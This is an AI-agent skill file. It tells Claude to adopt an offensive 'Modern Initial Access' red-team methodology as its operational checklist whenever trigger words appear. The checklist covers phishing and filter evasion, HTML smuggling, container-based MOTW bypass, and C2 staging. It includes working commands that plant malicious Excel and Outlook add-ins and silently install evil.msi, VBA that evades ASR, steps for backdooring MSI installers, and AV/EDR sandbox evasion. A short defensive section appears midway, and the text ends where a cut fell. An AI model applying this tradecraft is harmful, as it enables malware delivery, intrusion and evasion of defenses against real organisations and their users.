1---2name: skill-modern-initial-access3description: Skill Modern Initial Access4---5# SKILL: Modern Initial Access67## Metadata8- **Skill Name**: initial-access9- **Folder**: offensive-initial-access10- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/initial-access.md1112## Description13Initial access techniques checklist: phishing (spear/smishing), credential stuffing, exposed service exploitation, supply chain attacks, watering hole, VPN/RDP brute force, public-facing application exploitation. Maps to MITRE ATT&CK TA0001. Use when planning initial access phases of red team engagements.1415## Trigger Phrases16Use this skill when the conversation involves any of:17`initial access, phishing, spear phishing, credential stuffing, exposed service, supply chain, watering hole, VPN brute force, RDP attack, MITRE TA0001, initial foothold`1819## Instructions for Claude2021When this skill is active:221. Load and apply the full methodology below as your operational checklist232. Follow steps in order unless the user specifies otherwise243. For each technique, consider applicability to the current target/context254. Track which checklist items have been completed265. Suggest next steps based on findings2728---2930## Full Methodology3132# Modern Initial Access3334## Introduction3536### Typical Initial Access Vectors3738- Email with malware attached/linked39 - Most attacks using attached malware won't work40 - Out of the box protection may not cover `PDF, ISO, IMG, HTML, SVG, PPTM, PPSM, ACCDE`41 - Most URL-based attacks do work42 - domain's reputation, age, category should be sound43 - domain should use https44 - limit number of GET elements and their names45 - use HTML Smuggling to evade46 - get your domain warmed up (send some legitimate emails first with no attachment and links)47 - Advanced attacks may involve delivering backdoored trusted applications (e.g., older Electron apps with V8 exploits) via phishing to bypass application control like WDAC.48- Spear-phishing/ phishing / stealing valid credentials49 - Check your mail with [Phishious](https://github.com/CanIPhish/Phishious) before sending it to your victim50 - use [decode-spam-headers](https://github.com/mgeeky/decode-spam-headers) to analyze returned SMTP headers51 - Be aware that default Microsoft Office settings now block macros in files downloaded from the internet (marked with `MOTW`). Success often requires significant social engineering to convince users to bypass these protections or using alternative delivery methods (e.g., containers that don't propagate `MOTW`, signed add-ins).52 - images and link increase spam score, be wary of it53 - don't use `no-reply` like usernames54 - send through `GoPhis -> AWS SOCAT :587 -> smtp.gmail.com -> @target.com`55 - link to websites on trusted domains, like cloud-facing resources56 - make sure your webserver blocks automated bots57- Deep‑fake voice or video social‑engineering calls (help‑desk or executive impersonation) to obtain password resets or approve MFA prompts. Generative‑AI tools make cloning voices trivial.58- Business Email Compromise (BEC) / OAuth consent phishing that targets finance or vendor‑portal users, yielding cloud‑token access even where MFA is enabled.59- Malicious OneNote `.one` attachments and OneDrive "Add to Shortcut" abuse: embedded HTA/JS payloads bypass Office macro blocking and spread via cloud sync.60- Excel blocks untrusted Internet-origin XLL add-ins by default (M365, 2023+). Smuggled XLLs inside containers may still be blocked once MOTW propagates.61- Malicious browser extensions (Chrome, Edge, Firefox) delivered through fake Web Store listings; hijack session cookies or inject scripts into authenticated SaaS sessions.62- attackers register malicious cloud apps and trick users into granting scopes, giving token-based access that bypasses MFA63- Reusing stolen credentials against external single factor VPN, gateways, etc64- Password Spraying against Office365, custom login pages, VPN gateways65- Exposed RDP with weak credentials and lacking controls66- Unpatched known vulnerable perimeter device, application bugs, default credentials, etc67- Rarely HID-emulating USB sticks68- WiFi Evil Twin -> Route WPA2 Enterprise -> NetNTLMv2 hash cracking -> authenticated network access -> Responder69- Plugging into on-premises LAN -> Responder/mitm6/Ldaprelayx70- SEO poisoning / paid‑search malvertising (e.g., fake PuTTY & WinSCP ads, dominant loader delivery 2024–25) and "quishing" PDFs whose QR codes redirect victims to mobile OAuth login pages71- Consent‑/token‑phishing and Adversary‑in‑the‑Middle (AiTM) proxy kits that steal OAuth session cookies or proxy MFA (e.g., EvilProxy, Tycoon, Dadsec). These vectors bypass MFA by tricking users into granting access to rogue Azure AD / Google Workspace apps.72- Supply‑chain compromise of developer ecosystems:73 - malicious NPM / PyPI typosquat packages74 - poisoned GitHub Actions or CI/CD secrets exfiltration75 - container‑registry deception (imageless Docker Hub repos or `curl | bash` installers).76 - First contact often occurs on developer workstations.77- Mass‑exploited perimeter and edge‑device zero‑days (e.g., Ivanti Connect Secure (such as CVE-2023-46805, CVE-2024-21887), MOVEit Transfer (such as CVE-2023-34362), Citrix Bleed) enabling unauthenticated remote code execution **before** credentials come into play. Maintain a live "current CVEs exploited‑in‑the‑wild" table and apply virtual patching/WAF rules where upgrades lag.78- Cloud & Kubernetes misconfigurations:79 - exposed S3 buckets allowing upload‑then‑execute objects80 - SSRF into EC2 IMDSv1 or GCP metadata to steal instance credentials81 - open Kubernetes API/Argo CD dashboards, and leaked Azure SAS tokens that grant cross‑tenant data extraction.82 - OIDC Workload Identity Federation exposed: stolen GKE/EKS service‑account tokens grant cross‑cluster privilege escalation.83 - AWS STS credentials embedded in shareable URLs (`GetFederationToken`, presigned S3, etc.) leak temporary keys to attackers.84- Mobile initial‑access vectors:85 - smishing or WhatsApp/Telegram lures86 - QR‑code invoice/resumé phishing that lands on mobile browsers87 - rogue Mobile Device Management (MDM) enrolment profiles granting full device admin.88 - Passkey/WebAuthn phishing pages that spoof the biometric prompt to hijack FIDO sessions.89 - Sideload invitations via fake Apple TestFlight or Test Fairy links deliver malicious iOS/Android apps outside official store review.90- Collaboration‑app abuse:91 - malicious Microsoft Teams/Slack/Discord apps with overbroad OAuth scopes92 - slash‑command token vacuum93 - SharePoint Framework (SPFx) app sideloading94 - Discord/Telegram CDN links hosting first‑stage binaries.95- If WinRM over HTTPS (WinRMS, port 5986) is enabled (it's not by default) and its Channel Binding setting remains at the default "Relaxed", it becomes vulnerable to NTLM relay attacks. Relayed credentials (e.g., from coerced HTTP/SMB/LDAP) can grant RCE. Ironically, enabling WinRMS to "harden" a system by disabling HTTP WinRM (port 5985, which _is_ relay-resistant due to internal encryption) can introduce this vulnerability. Key technical details:96 - Standard WinRM (port 5985) uses HTTP with SPNEGO; channel binding is enabled by default, so NTLM relay fails unless the attacker controls TLS.97 - WinRMS (port 5986) runs over HTTPS; if `CbtHardeningLevel` is not set to **Strict**, credentials can still be relayed despite TLS.98 - Channel Binding (CBT) can be set to None (disabled), Relaxed (optional), or Strict (required)99 - Mitigation: `winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'`100 - Prefer Kerberos or certificate-based auth for WinRM; monitor and reduce NTLM usage.101- Exploiting misconfigured Power Platform services (e.g., Power Apps with overly permissive shared connections or abusing Power Query for native SQL execution against on-prem data gateways).102103### Command & Control104105- Use a two-stage [Mythic C2](https://github.com/its-a-feature/Mythic) as our command and control106- Stage one should be lean and hard to detect, it would be used for situational awareness107 - [Merlin](https://github.com/MythicAgents/merlin) for Linux (no upstream commits since 2023, still functional)108 - [Poseidon](https://github.com/MythicAgents/poseidon) + [Apfell](https://github.com/MythicAgents/apfell) for macOS109 - [Apollo](https://github.com/MythicAgents/Apollo) in shellcode form for Windows110 - to get rid of apollo console111 - open it via `detect-it-easy`, select `pe` and uncheck `readonly`112 - then select `WINDOWS_GUI` in `Subsystem` inside `IMAGE_OPTIONAL_HEADER`113 - also notice apollo is a 32-bit executable114 - also checkout [Nimplant](https://github.com/MythicAgents/Nimplant) or [others](https://mythicmeta.github.io/overview/)115 - [Nighthawk](https://nighthawkc2.io/evanesco/)116- Stage two should be in-memory, inline-execute and feature reach117 - Nighthawk, Cobalt Strike, etc118119### Exec/DLL to SHELLCODE120121For detailed information on converting executables and DLLs to shellcode, including:122123- Embedding shellcode into loaders124- Backdooring legitimate PE executables125- Tools like Donut, sRDI, Pe2shc and Amber126- Open-source shellcode loaders like ScareCrow and NimPackt-v1127128See the [Shellcode documentation](/exploit/shellcode.md).129130### EDR Evasion Techniques131132For detailed information on EDR evasion techniques, including:133134- Malware Virtualization135- API Unhooking136- Early Cascade Injection137- Killing Bit techniques138- Call Stack Obfuscation139- Sleep Obfuscation140141See the [EDR Evasion documentation](/exploit/edr.md)142143### Modern CyberDefense Stack144145- Secure Email Gateway / Email Security146 - FireEye MX147 - Cisco Email Security148 - TrendMicro for Email149 - MS Defender for Office365150- Secure Web Gateway151 - Symantec BlueCoat152 - PaloAlto Proxy153 - Zscaler154 - FireEye NX155- Secure DNS156 - Cisco Umbrella157 - DNSFilter158 - Akamai Enterprise Threat Protector159- AntiVirus160 - McAfee161 - ESET162 - Symantec163 - BitDefender164 - Kaspersky165- EDR166 - CrowdStrike Falcon167 - MS Defender for Endpoint168 - SentinelOne169 - VMware Carbon Black170171### Defensive quick‑wins172173- Email/web controls174 - Enable Microsoft Defender for Office 365 Safe Links and Safe Attach (or vendor equivalent).175 - Block direct download of executable formats; detonate unknowns in sandbox.176- Office hardening177 - Keep "Block macros from the Internet (MOTW)" enforced; prefer trusted locations.178 - Block XLL add‑ins, unsigned COM add‑ins, and legacy Excel 4.0 macros179 - ASR rules: Block Office child processes; Block Win32 API calls from Office; Block executable content from email and webmail; Block credential stealing from LSASS.180- Browser/extension control181 - Enforce extension allowlists (Chrome/Edge/Firefox policy); disable developer mode on managed devices.182- Identity & auth183 - Enforce MFA; restrict OAuth app consent (publisher verification + admin consent workflows); tenant restrictions.184 - Prefer phishing‑resistant MFA (FIDO2/CTAP); block legacy/basic auth; monitor device‑code flow abuse.185- Endpoint policies186 - WDAC/Smart App Control or application allow‑listing for untrusted installers (MSI/MSIX/ClickOnce).187 - Monitor and restrict PowerShell Constrained Language Mode exceptions; log script block.188 - For WinRM: prefer Kerberos/certificate auth; set WinRMS channel binding to Strict: `winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'`.189190## Security Controls Evasion191192### Perimeter Defense Evasion193194#### Secure Web Gateway195196- sensitive on197 - Domain characteristics198 - URL-fetched contents (HTML, body, javascript)199 - MIME types (where file type is allowed or not)200- can be evaded via201 - high reputation servers (cloud instances)202 - HTML smuggling203204#### Secure DNS205206- sensitive on207 - Domain categorisation, maturity, `whois` examination208 - Presence on real-time blocking lists, threat intelligence feeds, virustotal-alike databases209 - SSL/TLS certificate contents210- can be evaded via211 - high reputation domains (Domain fronting CDN like azure edge CDN, Cloud-based resources like AWS lambda or azure blob storage, personal cloud drives)212 - use [Talos Intelligence](https://talosintelligence.com/reputation_center/) to check reputation213 - AWS is dumber than Azure, use it214215### Endpoint Defense Evasion216217#### Antivirus218219- sensitive on220 - static signatures221 - heuristic signatures222 - behavioural signatures223 - trigger events `on-demand -> on-write -> on-access -> on-execute -> real-time`224 - proactive protection of them is weaker due to low false-positive, low impact and high stability requirements225 - before-exec: mainly cloud-reputation based examination226 - before-exec: machine learning evaluation focusing on hand-picked characteristics227 - on-exec: simulating entry point and first N instructions228 - on-exec: memory scanner sweeping process virtual memory allocations for presence of signatured threats229 - steps230 - static analysis231 - heuristic analysis232 - cloud reputation analysis + automated sandboxing / detonation233 - ML analysis234 - emulation235 - behavioural analysis236- can be evaded via237 - static analysis by writing custom malware238 - heuristic analysis by smartly blending-in with our payload239 - cloud reputation by backdooring legitimate binaries, devising malware in containers (PDF, Office docs), sticking to DLLs240 - automated sandboxing by environmental keying (only execute if something)241 - ML analysis by trial and error, hard to combat242 - emulation by time-delaying, environmental keying243 - behavioural analysis by244 - avoiding suspicious WinAPI calls245 - acting low-and-slow instead of all-at-once246 - unhooking/direct syscalls may work247248#### EDR Evasion Techniques249250For detailed information on EDR evasion techniques, including:251252- Malware Virtualization253- API Unhooking254- Early Cascade Injection255- Killing Bit techniques256- Call Stack Obfuscation257- Sleep Obfuscation258- Telemetry obfuscation259- Persistence strategies260- Event correlation evasion261262See the [EDR Evasion documentation](exploit/edr.md).263264### Windows Defender Bypass Techniques265266For detailed information on Windows Defender bypass techniques, including ASR bypasses and custom detection rules evasion, see the [EDR Evasion documentation](exploit/edr.md).267268## Hosting Payloads269270- Server Hosting our Payload must271 - Look benign, best if commonly used for file hosting272 - Have SSL/TLS certificate signed by trusted authority273 - Hard to be blocked by target (cloud based)274- Example275 - Cloud-based file storage: Office365 OneDrive, SharePoint, AWS S3, MS Azure Storage, Google Drive, FireBase Storage276 - CDN: Azure Edge CDN, StackPath, Fastly, Akamai, Google Cloud AppSpot, HerokuApp277 - Serverless Endpoints: AWS Lambda, CloudFlare Workers, DigitalOcean Apps278- use [LOTS Project](https://lots-project.com/) for help279- use [LOLBINS](https://lolbas-project.github.io/)280 - prefer DLL over EXE281 - indirect execution to circumvent EDR/AV282 - DLL Side-Loading / DLL Hijacking / COM Hijacking / XLL283- check [Microsoft Block Rules](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/applications-that-can-bypass-wdac) to better circumvent defender284285## Infection Vectors and Chains286287### Classic File Infection Vectors288289#### MAC290291- initial access is getting harder, for example for MAC you can still bypass292 - Unsigned apps (gets through with few clicks)293 - Office Macros + `.SLK` Excel4 macros (constrained by gatekeeper)294 - you can use [Mystikal](https://github.com/D00MFist/Mystikal)295- Use `LNK, CHM, CPL, DLL, MSI, HTML, SVG`; hold `Office w/macros, ISO, VHD, XSL`.296297#### Windows Script Host298299- VBE, VBS, JSE, JS, XSL, HTA, WSF300- Mostly well detected and subject to AMSI detection. **Effectiveness significantly reduced for Office macros due to default security settings blocking macros from the internet (`MOTW`).**301- Viable strategies for WSH scripts (often requiring MOTW bypass or user interaction):302 - File Dropper303 - download a file from internet/ UNC share or unpack from itself304 - save the file onto workstation305 - run the file directly/indirectly via LOLBIN306 - DotNetToJScript / GadgetToJScript307 - a way to deserialize and run `.NET` executables in-memory308 - use BinaryFormatter to deserialize them309 - XSL TransformNode310 - simple technique to run XSL/XML files in-memory while maintaining low IOC footprint311 - XLAM Dropper312 - Macro-enabled excel add-in file313 - when dropped to `%APPDATA%\Microsoft\Excel\XLSTART`, they are auto-executed when starting excel314 - Microsoft Compiled Help Messages315 - can be used to run a system command whenever user browses into them316 - some used to run VBS or quietly install MSI317 - LNK318 - EXE/ZIP embedded into LNK319 - can be polyglot-ted with `HTA/ISO/PDF/ZIP/RAR/7z`320 - use icons to weaponize, inspect with [LEcmd](https://github.com/EricZimmerman/LECmd) to make sure not disclosing MAC & hostname321 - always run through a LOLBIN like `conhost.exe`322 - HTML Smuggling323 - body `onload` callback324 - optional `setTimeout` delay or direct entrypoint call325 - embedded payload footprint326 - actual logic327 - create a JavaScript `Blob` object holding raw file data328 - if operating on IE use `msSaveOrOpenBlob`329 - else, create a dynamic `<a style="display:none"></a>` HTML node330 - invoke `URL.createObjectURL()` and set `<a href="...">`331 - set download name via `<a>.download`332 - programmatically click the anchor to trigger the download333 - use [detect-headless](https://github.com/infosimples/detect-headless) to identify sandboxes334 - run anti-headless logic after some time elapses335 - Can bypass most secure gateways, but the downloaded file (e.g., ISO, ZIP, LNK, document) still faces endpoint scrutiny. **If the smuggled file relies on macros (e.g., `.docm`), it will likely be blocked by default Office security unless the user explicitly enables content.**336 - COM Hijack337- every VBA strategy requires launcher **and often needs to overcome default macro security blocks**:338 - `WScript.Shell`339 - `WMI Win32_Process::Create`340 - `Shell(...)`341 - etc342343### Complex Infection Chains344345#### Containerized Malware346347- Files downloaded from internet have Mark of the Web(`MOTW`) taint flag348- **Default Behavior:** Office documents having `MOTW` flag have their macros blocked by default, preventing automatic execution. This is a major mitigation against traditional macro-based attacks.349- You can download it from intranet or trusted locations to circumvent this (less common for initial access).350- Some container file formats do not propagate `MOTW` flag to inner files when extracted, providing a potential bypass:351 - ISO / IMG352 - 7zip353 - CAB354 - VHD / VHDX355 - WIM356 - check [MOTW Comparison](https://github.com/nmantani/archiver-MOTW-support-comparison) to make sure357358> [!Note]359> (Windows 11 22H2+): ISOs opened via double-click in Explorer inherit MOTW. Using `Mount-DiskImage` via PowerShell typically avoids propagation; validate on your build.360361#### Chains Recipe362363- In‑the‑wild sample364 - Spear-Phishing365 - Link in mail or Link in PDF366 - HTML Smuggling drops ISO or ZIP367 - ZIP contains `RTLO`‑tricked `.EXE` disguised as `.PDF` being legit 7‑Zip executable368 - `.PDF.EXE` when clicked, sideloads benign `vcruntime140.dll` that imports evil `7za.dll`369 - ISO contains `LNK` + DLL370 - `.LNK` runs `rundll32 evil.dll,SomeExport`371- **Delivery** - convey your chain (HTML smuggling drop in drive-by download fashion)372- **Container** - archive bundling all infection files373 - `ISO/IMG/ZIP` can contain hidden files374- **Trigger** - some way to run our payload (`LNK/CHM`)375- **Payload** - our malware376 - **Note:** Macro-enabled office documents (`.docm`, `.xlsm`) are less reliable for initial execution due to `MOTW` blocks unless combined with social engineering or specific bypasses.377 - can be macro-enabled office document with `MOTW` stripped (e.g., delivered inside a container like ISO/VHD)378 - `DLL/CPL/XLL` to be loaded by trigger directly or indirectly with LOLBIN (XLLs also subject to `MOTW` blocking if downloaded directly)379 - `XLAM` to be copied to `XLSTART` for persistence & abusing office trusted path380 - `MSI/MSP` to run during silent installation (`MOTW` stripped)381 - `VbaProject.OTM` for outlook persistence382 - `.EXE + .DLL` executing through side-loading attack383- **Decoy** - keep your victim happy by displaying some interesting stuff384385#### Successful Strategies386387```bash388# plant evil.xlam to %APPDATA%\Microsoft\Excel\XLSTART so that next time user opens up Excel it will get loaded389cmd /c echo f | xcopy /Q/R/S/Y/H/G/I evil.ini %APPDATA%\Microsoft\Excel\XLSTART | decoy.pdf390391# Plant VbaProject.otm to %APPDATA%\Microsoft\Outlook\VbaProject.OTM and alter registry so upon outlook restart VBA will be loaded and act on every new email arrived392cmd /c reg add hkcu\software\micorosft\office\16.0\outlook\security /f /v Level /t reg_dword /d 1 | echo f | xcopy /Q/R/S/Y/H/G/I evil.xlam %APPDATA%\Microsoft\Outlook\VbaProject.OTM | decoy.pdf393# corrected HKCU path394cmd /c reg add hkcu\software\microsoft\office\16.0\outlook\security /f /v Level /t reg_dword /d 1 | echo f | xcopy /Q/R/S/Y/H/G/I evil.xlam %APPDATA%\Microsoft\Outlook\VbaProject.OTM | decoy.pdf395396# your ZIP/ISO/IMG will contain signed executable prone to DLL Hijacking/side-loading and appropriate malicious DLL397cmd /c DISM.exe | decoy.pdf398399# load .DLL through LOLBIN400cmd /c rundll32 evil.dll,Infect | decoy.pdf401402# LNK/CHM that runs PowerShell to locate own .ZIP, then unpacks ZIP contents elsewhere then changes dir into there, then registers .XLL (having stripped MOTW)403404# ClickOnce deployment requires several local files; bundle into ZIP/ISO, hide them, then deploy ClickOnce followed by opening decoy.pdf405406# PowerShell might use Unblock-File on .MSI and then silently install it407powershell Unblock-File evil.msi; msiexec /q /i .\evil.msi ; .\decoy.pdf408409# install signed MSI and apply an unsigned MST410powershell msiexec /q /i .\Zoom-signed-installer.msi TRANSFORMS=evil.mst ; .\decoy.pdf411412# run WSH script413cmd /c wscript evil.wsf | decoy.pdf414415# LNK/CHM that runs PowerShell to locate its own ZIP, then unpacks ZIP contents elsewhere, changes directory and runs tasks (e.g., deploy ClickOnce)416```417418## VBA Infection Strategies419420- **Important Note:** The effectiveness of traditional VBA macro execution on document open (`AutoOpen`, `Document_Open`) is significantly diminished due to Microsoft's default security policy blocking macros in files downloaded from the internet (`MOTW`). Successful execution often requires social engineering to have the user explicitly trust the document/location or alternative execution methods (like COM hijacking triggered later, Add-Ins, etc.).421- `Alt+F11IM` - quickly inserts VBA module into a document422- abuse path423 - execute424 - file dropper425 - COM hijack426 - DotNetToJScript427- use of WinAPI is strongly inadvisable due to detection428- `GetUserNameA` might be fine but things like `CreateProcessA` is a big no-no429- `AutoOpen,Document_Open, etc` can be used to auto-run our script430431### Attack Surface Reduction Rules432433- Set of policies enforced by Microsoft Defender Exploit Guard attempting to contain malicious activities434- [Defender ASR Rules](https://adamsvoboda.net/extracting-asr-rules/)435- [ExtractedDefender](https://github.com/HackingLZ/ExtractedDefender)436- [commial ASR](https://github.com/commial/experiments/tree/master/windows-defender/ASR)437438### Execute439440- Most basic strategy is to simply run some command with LOLBIN. **Subject to macro execution policies.**441- Avoid running immediately; prefer persistence. Consider COM/DLL hijacking and always use LOLBINs.442- useful ones443 - `Wscript.Shell.Exec` - prefix with `obf_` to facilitate later obfuscation444 - `InvokeVerbEx` - evades detection but sometimes doesn't work with LOLBIN445 - `RDS.DataSpace` - supposed to be obsolete, but still works446- use [AMSITools](https://gist.github.com/mgeeky/013b16a3e4a88b6022d3d7dbfe3d6f6f) to review AMSI events447448```bash449# evade ASR450CreateObject("WScript.Shell") == CreateObject("new=72C24DD5-D70A-4388-8A42-98424B88AFB8")451452# full sample to evade ASR453Sub obf_LaunchCommand(ByVal obf_command As String)454 On Error GoTo obf_ProcError455 Dim obf_launcher As String456 Dim obf_cmd457 With CreateObject("new:72C24DD5-D70A-4388-8A42-98424B88AFB8")458 With .Exec(obf_command)459 .Terminate460 End With461 End With462obf_ProcError:463End Sub464465# RDS.DataSpace466Sub obf_LaunchCommand(ByVal obf_command As String)467 On Error GoTo obf_ProcError468 Dim obf_objOL, obf_shellObj469 Set obf_objOL = CreateObject("new:BD96C5566-65A3-11D0-983A-00C04FC29E36")470 Set obf_shellObj = obf_objOL.CreateObject("Shell.Application", "")471 obf_shellObj.ShellExecute obf_command472473obf_ProcError474End Sub475```476477### DotNetToJScript478479- `DotNetToJScript` - runs `.NET` assemblies in-memory through `Assembly.Load`. **Still requires the initial VBA/JScript execution, which is often blocked.**480481### File Dropper482483- Deadly as long as AV/EDR not detect our dropped payload `OnWrite`. **The initial macro execution to drop the file is the primary hurdle due to default security.**484- files can be pulled from485 - internet486 - office file structures487 - inside VBA code itself - not good488489### COM Hijack490491- Plants dodgy COM server via registry key in `HKCU` that overrides `HKLM` system defaults. **This is a persistence/later execution technique, bypassing the initial macro block issue, but the initial planting still needs to occur.**492- create registry key structure using VBA493- drop a DLL file to HDD494- wait until system/application picks that COM object up and instantiate it495- beware your DLL might be executed hundreds time per minute496- implement single-instance / single-run logic497- don't hijack `MMDeviceEnumerator`, user sees issues498- use `CacheTask` -> `{0358B920-0AC7-98F4-58E32CD89148}`499- learn more [here](https://gist.github.com/mgeeky/7d2f8363f5e8961daa51b56869101a8a)500501### Lures502503- Present plausible pretext that gets removed after macros run ( like `docusign` or adjust to your version). **Modern lures often need to convince the user to click "Enable Content" or move the file to a trusted location.**504- we can leverage shapes (images, text boxes, macro cycles through them)505- big blob of shellcode embedded in VBA stands out506- we can use507 - shellcode or commands in document properties508 - word variables509 - word/excel/powerpoint parts510 - VBA forms511 - spreadsheet cells512 - Word `ActiveDocument.Paragraphs`513514### Alternative AutoRuns515516- Proxy sandboxes like `Zscaler` are sensitive to `Auto_Open()`, that might give away our maldoc. **These autoruns are also subject to the default macro blocking policies.**517- `Workboot_SheetCalculate += RAND()` might be useful518- MS Word Remote Templates are a good choice as well519- Office offers customizing ribbon based on `CustomUI XML`; we can abuse the `onLoad` part as well520- ActiveX controls can be inserted into document, but will be called a lot so keep it simple. **Also subject to security controls.**521522### Exotic VBA Carriers523524- MS Office525 - Access `.accde, .mdb`, PowerPoint, Publisher `.pub`526 - Visio `.vsdm`, Visio97 `.vsd` , MS Project `.mpp`527 - Publisher RTF files528 - Outlook `ThisOutLookSession`, `VBAProject.OTM`529- SCADA Systems530 - Siemens SIMATIC HMI WinCC531 - General Electric HMI Scada iFix532 - IGSS schneider-electric533- CAD Software534 - VBA Module for AutoCAD / VBA Manager in AutoCAD 2021535 - ProgeCAD Professional536 - SOLIDWORKS `.swp,.swb` VBA Project files537 - DS CATIA V5538 - Bentley MicroStation CONNECT `.MVBA` files539- Others540 - ArcMap `.MXT` files541 - Oscilloscopes Keysight E5071C Network Analyzer542 - TIBCO Statistica Visual Basic `.SVB` analysis configuration543 - Rocket Terminal Emulator544 - MicroFocus InfoConnect Desktop545546### VBA Stream Manipulation547548- VBA macros are stored in `vbaProject.bin` OLE stream modules549- each module consists of550 - `PerformanceCache` - compiled VBA code, office version specific551 - `CompressedSourceCode` - compressed VBA with MS proprietary algorithm552- VBA Stomping relies on the fact that Office prefers executing `PerformanceCache` if its version matches, so we can use malicious performance cache and innocuous compressed code. **Detection for stomping has improved, and the macro execution itself is still subject to security policies.**553- `EvilClippy` offers other useful features as well554 - Hide VBA from GUI555 - Remove metadata stream556 - Set random module names557 - Make VBA Project unviewable/locked558 - `EvilClippy.exe -s fakecode.vba -t 2016x8666 macrofile.doc`559- VBA Purging560 - removes `PerformanceCache` from module and `_VBA_PROJECT` streams561 - changes `MODULEOFFSET` to 0562 - removes all `__SRP_#` streams563 - this removes strings representing VBA code parts, lowering detection potential564565### Evasion Tactics566567- Uglify - remove empty lines, add random indentation, insert garbage code & comments568- Rename variables and function/sub names569- Randomize functions order570- Obfuscate strings571- Avoid overly long lines572- Payload obfuscation is trickier573- use [VisualBasicObfuscator](https://github.com/mgeeky/VisualBasicObfuscator)574- Sandbox Evasion575 - detect if running in sandbox environment, don't run any further. **Doesn't bypass the default user-facing macro block.**576 - validation of username/domain577 - uptime check578- internet-exposed IPv4 geolocation & reverse‑PTR579 - weaker stuff (hardware,process list, NIC MAC addresses)580- Office Files Encryption581 - Powerful evasion technique against _static analysis_ but does not bypass the runtime macro execution blocks based on `MOTW`.582 - Office documents can be password-protected / encrypted583 - Excel always tries hardcoded password value of `VelvetSweatshop`584 - Powerpoint always tries `/01Hannes Ruescher/01`585 - use `msoffice-crypt.exe`586- Office trusted path + AMSI evasion587 - **Relies on getting the file into a trusted path first, bypassing the initial MOTW block.**588 - requires disabling/patching optics589 - sometimes works590- checkout [zip motw](https://breakdev.org/zip-motw-bug-analysis/) for a sample MOTW evasion591592## MSI Shenanigans593594### Installation595596- MSI installer can be built with [WiX toolset](https://wixtoolset.org/), which brings us several properties597- there is a `<CustomAction>` tag letting us run `.DLL, .EXE, .VBScript/Jscript`598- After installation we can safely uninstall MSI, leaving no trace on HDD599- Can run600 - inner `VBScript/JScript` in-memory601 - inner `.NET assembly` in-memory602 - inner `EXE` file by extracting it to `C:\Windows\Installer\MSIXXXX.tmp`603- when running `EXE`, parent-child relationship gets dechained into `wininit.exe -> services.exe -> msiexec.exe -> MSIxxxx.tmp`604605### Types606607- `.MSI` - compound storage file format comprising of a set of databases structured in `OLE` format608- `.MSP` - Windows installer patch file609- `.MSM` - Windows merge module installer's file (not usable)610- `.MST` - Windows installer transformation file611- Files are stored in `.CAB` archives, that are bundled into `MSI` media table612- To extract contents from `.MSI` we can use [lessmsi](https://github.com/activescott/lessmsi), [ORCA](https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/Msi/orca-exe.md) or [msidump](https://github.com/mgeeky/msidump)613- `ORCA` & `MSISnatcher` lets us backdoor existing MSI file614615### Manual616617- compile `WXS` into `WIXOBJ`618- links `WIXOBJ` into `MSI`619620```bash621wix\candle.exe project.exs x64622light.exe -ext WixUIExtension -cultures:en-us -dc1:high -out evil.msi project.wixobj623```624625- use `rogue-dot-net\generateRouteDotNet.py` to compile custom `.NET` DLL based off shellcode626- create self-exctractable, standalone `.NET` CustomAction DLL with WiX MakeSfxCa627- compile `WXS` into `WIXOBJ`628- link `WIXOBJ` into `MSI`629630```bash631python generateRogueDotNet.py -M --dotnet-ver v2 -t plain -s CustomAction -n CustomActions -m MyMethod -r -c x64 -o CustomAction.dll beacon64.bin632MakeSfxCA.exe CustomAction.CA.dll x64\sfxca.dll CustomAction.dll wix\Microsoft.Deployment.WindowsInstaller.dll633candle.exe project.wxs -arch x64634light.exe -ext WixUIExtension -cultures:en-us -dc1:high -out evil.msi project.wixobj635```636637- install, wait, uninstall638639```bash640evil.msi /q && sleep 5 && msiexec /q /x evil.msi641```642643### Backdoor Existing MSI644645- we can add rows to existing MSI thus backdooring it646- Interesting Fields647 - Binary - table that holds binary data in-memory during MSI installation648 - CustomAction - actions to perform pre/post installation649 - InstallExecuteSequence - sequence-ordered list of actions that take place during installation650 - File - files to be extracted into system651 - Component - describes into which directory should file be extracted652 - Media - CAB files inside of MSI653 - Registry - Contains all registry keys & values to be created654 - Shortcut - scatters LNK all around the system655- Process656 - copy `putty-installer.msi` to `backdoored.msi`657 - open `orca.exe` and open `backdorred.msi` inside it658 - tables -> CustomAction -> right click -> add row -> `Action=whatever1, type=1250, source=INSTALLDIR, target=calc`659 - tables -> InstallExecuteSequence -> sort tables by `Sequence` column -> add row -> `Action=whatever1, condition= NOT REMOVE, sequence = 6599`660 - file -> save as -> `backdoored.msi`661 - test it662- we can automate the process using `MSISnatcher`663664### Windows App Package Format665666- `.MSIX` which supersedes `.MSI` by enforcing publisher authentication via code signing certificate667- installed `.APPX/.MSIX` goes into `%ProgramFiles%\WindowsApps\<PublisherName>.<AppName>_<AppVersion>_<Arch>_<Hash>`668- extensions669 - `MSIX` the zip of signed installation package670 - `APPX` a directory containing `EXECUTABLES/Program`, `.AppxManifest.xml`, `[Content_Types.xml]`, assets, icons, other files671 - `APPXBUNDLE`, `MSIBUNDLE` contains `.APPX/.MSIX` and other files672 - `APPINSTALLER` - XML file pointing towards `.APPXBUNDLE` or `.MSIX` installers673- deployment674 - double-click675 - windows store676 - browsing a website with `ms-appinstaller` link677 - via PowerShell `Add-Package -Path .\evil.appx`678 - via remote host through `DCOM` - checkout [ProvisionAppx](https://github.com/CCob/ProvisionAppx)679 - a static Azure blob storage website -> HTML with `ms-appinstaller` URL handler -> use a signed binary (179$)680681## Executables682683### Basics684685#### Static Detection686687- Static Detection is simplest to evade, simply use packers688 - `PE Protector` - encrypt & anti-debug/anti-x689 - `PE Compressor` - reduce the file size690 - `.NET Obfuscators` - protect IP, symbol names, strings691 - `Script Obfuscators` - VBA/VBScript, PowerShell, `BAT`692 - `Virtualizers` - translate input PE executable machine code into custom VM693 - `Executable Signers` - steal genuine `EXE` certificate + properties and apply on implant694 - `Resource Editors` - remove Icon, version information695 - `Shellcode Loaders` - load shellcode in a stealthily696 - `Shellcode Encoders` - `Shikata Ga Nai`697- you can use [ProtectMyTooling](https://github.com/mgeeky/ProtectMyTooling) for various packers698- **Note on Online Scanners:** While services like AntiScan.Me can give an initial idea of detection rates, they don't replace testing against a local, isolated machine representative of the target environment. Defenses like Windows Defender may behave differently in a real system compared to online sandboxes.699- **Targeted 